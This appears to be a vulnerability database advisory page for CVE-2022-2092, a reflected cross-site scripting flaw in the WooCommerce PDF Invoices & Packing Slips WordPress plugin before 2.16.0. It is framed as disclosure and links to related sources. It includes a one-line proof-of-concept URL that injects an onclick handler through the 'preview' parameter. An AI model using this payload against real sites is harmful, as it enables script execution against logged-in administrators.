Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbZhongFu Su(JrXnm) of WuHan UniversityWPVDB-ID:87546554-276A-45FE-B2AA-B18BFC55DB2D
HistoryJun 20, 2022 - 12:00 a.m.

WooCommerce PDF Invoices & Packing Slips < 2.16.0 - Reflected Cross-Site Scripting

2022-06-2000:00:00
ZhongFu Su(JrXnm) of WuHan University
wpscan.com
5
woocommerce
pdf
invoices
packing slips
cross-site scripting
attack
parameter
setting page
reflected
vulnerability

EPSS

0.001

Percentile

40.2%

JSON

The plugin doesn’t escape a parameter on its setting page, making it possible for attackers to conduct reflected cross-site scripting attacks.

PoC

https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&amp;preview;=xxxxx"+accesskey%3DX+onclick%3Dalert(1)+test%3D"

Related

openvas 1
wpexploit 1
nvd 1
cnvd 1
cvelist 1
cve 1
prion 1
patchstack 1
openvas
openvas
WordPress WooCommerce PDF Invoices & Packing Slips Plugin < 2.16.0 XSS Vulnerability
2022-10-05 00:00:00
wpexploit
wpexploit
WooCommerce PDF Invoices & Packing Slips < 2.16.0 - Reflected Cross-Site Scripting
2022-06-20 00:00:00
nvd
nvd
CVE-2022-2092
2022-07-11 13:15:09
cnvd
cnvd
WordPress WooCommerce PDF Invoices
2022-07-13 00:00:00
cvelist
cvelist
CVE-2022-2092 WooCommerce PDF Invoices & Packing Slips < 2.16.0 - Reflected Cross-Site Scripting
2022-07-11 12:57:25
cve
cve
CVE-2022-2092
2022-07-11 13:15:09
prion
prion
Cross site scripting
2022-07-11 13:15:00
patchstack
patchstack
WordPress WooCommerce PDF Invoices & Packing Slips plugin <= 2.15.0 - Reflected Cross-Site Scripting (XSS) vulnerability
2022-06-20 00:00:00

EPSS

0.001

Percentile

40.2%

JSON
Related for WPVDB-ID:87546554-276A-45FE-B2AA-B18BFC55DB2D
openvas1wpexploit1nvd1cnvd1cvelist1cve1prion1patchstack1